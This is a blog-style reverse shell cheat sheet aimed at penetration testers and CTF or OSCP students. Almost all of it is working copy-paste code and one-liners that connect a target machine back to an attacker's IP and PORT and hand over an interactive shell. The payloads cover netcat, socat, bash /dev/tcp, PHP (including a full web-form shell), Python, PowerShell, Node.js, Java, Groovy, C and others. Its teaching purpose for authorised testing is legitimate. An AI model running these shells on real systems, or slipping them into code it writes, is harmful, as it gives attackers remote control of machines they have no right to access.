Skip to main content

bartunek.me

Reverse shell cheat sheet

Often after gaining remote code execution, we want to get some interactive access - instead of issuing a single command or interacting with the web shell.

Options are limited to the software installed on the target system unless you can upload your binary.

This post contains a collection of reverse shells using different programs, scripting, or programming languages gathered over time. It might be helpful during penetration tests, CTFs, or courses like OSCP. Most of the examples are simple one-liners - that can be copied and pasted. In case when code is more complex, we can drop a script to the disk. Some examples include both variants - long to increase readability and one-liner to use copy/paste.

Note: change IP and PORT to your values.

Table of content:

nc

listen:

nc -nlvp PORT

connect:

nc -e /bin/sh IP PORT

or

nc -c sh IP PORT

OpenBSD Netcat version (without -e option)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f

socat

listen:

socat tcp-listen:PORT -

connect:

socat exec:/bin/sh tcp:IP:PORT

with PTY:

listen:

socat file:`tty`,raw,echo=0 tcp-listen:PORT

connect:

socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:IP:PORT

ncat

listen:

ncat --allow IP -vnl PORT --ssl

connect:

ncat --exec /bin/sh --ssl IP PORT

sbd

listen:

sbd -lp PORT

connect:

sbd -e /bin/sh HOST PORT

with encryption:

listen:

sbd -l -c on -k ENCRYPTION_PHRASE -p PORT

connect:

sbd -k ENCRYPTION_PHRASE -e /bin/sh HOST PORT

bash

TCP

bash -i >& /dev/tcp/IP/PORT 0>&1

or

bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

UDP

listen with nc:

nc -u -lvp PORT

connect:

sh -i >& /dev/udp/IP/PORT 0>&1

php

Simple PHP one liner:

php -r '$sock=fsockopen("IP", PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Full PHP script, with form to specify IP address and port to connect to:

<?php
if (empty($_POST['i']) && empty($_POST['p'])) {
  echo "IP address and port not specified!";
}
else
{
  $ip = $_POST["i"];
  $port = $_POST["p"];
  $shell = 'uname -a; w; id; /bin/sh -i';
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $process = null;
  $pipes = null;
  $errno = "";
  $errstr = "";

  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    echo "$errstr ($errno)";
    exit(1);
  }

  $descriptorspec = array(
      0 => array("pipe", "r"),
      1 => array("pipe", "w"),
      2 => array("pipe", "w")
      );

  $process = proc_open($shell, $descriptorspec, $pipes);
  if (!is_resource($process)) {
    echo "ERROR: Can't spawn shell";
    exit(1);
  }

  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  while(!feof($sock) && !feof($pipes[1])) {
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
      $input = fread($sock, $chunk_size);
      fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
      $input = fread($pipes[1], $chunk_size);
      fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
      $input = fread($pipes[2], $chunk_size);
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

}
?>
<html>
<body>
<form method="post">
<input type="text" name="i" />
<input type="text" name="p" />
<input type="submit" />
</form>
</body>
</html>

Perl

perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

execute as python script:

#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

or from the command line with python -c

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Ruby

#!/usr/bin/ruby
require 'socket';
c=TCPSocket.new('IP', PORT)
$stdin.reopen(c)
$stdout.reopen(c)
$stderr.reopen(c)
$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }

or as a one-liner:

ruby -rsocket -e'f=TCPSocket.open("IP", PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Go lang

Create file with source code, run and then remove source file:

package main;
import"os/exec";
import"net";
func main() { 
  c, _ := net.Dial("tcp","IP:PORT");
  cmd := exec.Command("/bin/sh");
  cmd.Stdin=c; 
  cmd.Stdout = c;
  cmd.Stderr = c;
  cmd.Run()
}

save the file, for example as rev.go, build and run: go run rev.go

Or you can use it as one-liner, use echo to save source file to /tmp/rev.go, then build and run, after execution remove file:

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/rev.go && go run /tmp/rev.go && rm /tmp/rev.go

Powershell

$address = 'IP'
$port = 'PORT'
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.RedirectStandardError = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}

or as a one-liner:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP', PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

nodejs

create file rev.js:

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(PORT, "IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

or

require("child_process").exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')

or

var x = global.process.mainModule.require
x('child_process').exec('nc IP PORT -e /bin/bash')

then run:

nodejs rev.js

as a one-liner:

nodejs -e "require('child_process').exec('nc -e /bin/sh IP PORT')"

without nc:

nodejs -e "require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"')"

openssl

listen:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT

connect:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect IP:PORT > /tmp/s; rm /tmp/s

Awk

connect to listener, then close reverse shell entering exit

awk 'BEGIN {s = "/inet/tcp/0/IP/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Java

Linux

import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;

public class Rev {
  public static void main(String[] args) {

    String host="IP";
    int port=PORT;
    String cmd="/bin/sh";
    try {
      Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    } catch (Exception e) {}
  }
}

Windows

import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;

public class Rev {
  public static void main(String[] args) {

    String host="IP";
    int port=PORT;
    String cmd="cmd.exe";
    try {
      Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    } catch (Exception e) {}
  }
}

Groovy

Linux

String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
  while(pi.available()>0)
    so.write(pi.read());
  while(pe.available()>0)
    so.write(pe.read());
  while(si.available()>0)
    po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {p.exitValue();
    break;
  }
  catch (Exception e){}
};
p.destroy();
s.close();

one-liner:

groovy -e 'String host="IP";int port=PORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

or with Thread:

Thread.start {
  String host="IP";
  int port=PORT;
  String cmd="/bin/bash";
  Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
  InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
  OutputStream po=p.getOutputStream(),so=s.getOutputStream();
  while(!s.isClosed()){
    while(pi.available()>0)
      so.write(pi.read());
    while(pe.available()>0)
      so.write(pe.read());
    while(si.available()>0)
      po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {
      p.exitValue();break;
    }
    catch (Exception e){}
  };
  p.destroy();
  s.close();
}

Windows

String host="IP";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
  while(pi.available()>0)
    so.write(pi.read());
  while(pe.available()>0)
    so.write(pe.read());
  while(si.available()>0)
    po.write(si.read());
  so.flush();
  po.flush();
  Thread.sleep(50);
  try {
    p.exitValue();
    break;
  }catch (Exception e){}
};
p.destroy();
s.close();

one-liner:

groovy -e 'String host="IP";int port=PORT;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

C

Source code of rev.c file:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sockfd;
    int lportno = PORT;
    struct sockaddr_in serv_addr;
    char *const params[] = {"/bin/sh", NULL};
    char *const environ[] = {NULL};

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr("IP");
    serv_addr.sin_port = htons(lportno);
    connect(sockfd, (struct sockaddr *) &serv_addr, 16);

    dup2(sockfd, 0);
    dup2(0, 1);
    dup2(0, 2);
    execve("/bin/sh", params, environ);
}

Compile and execute:

gcc rev.c -o rev && rev

It is it - I hope you have found one or two ways of spawning reverse shell you didn’t know :)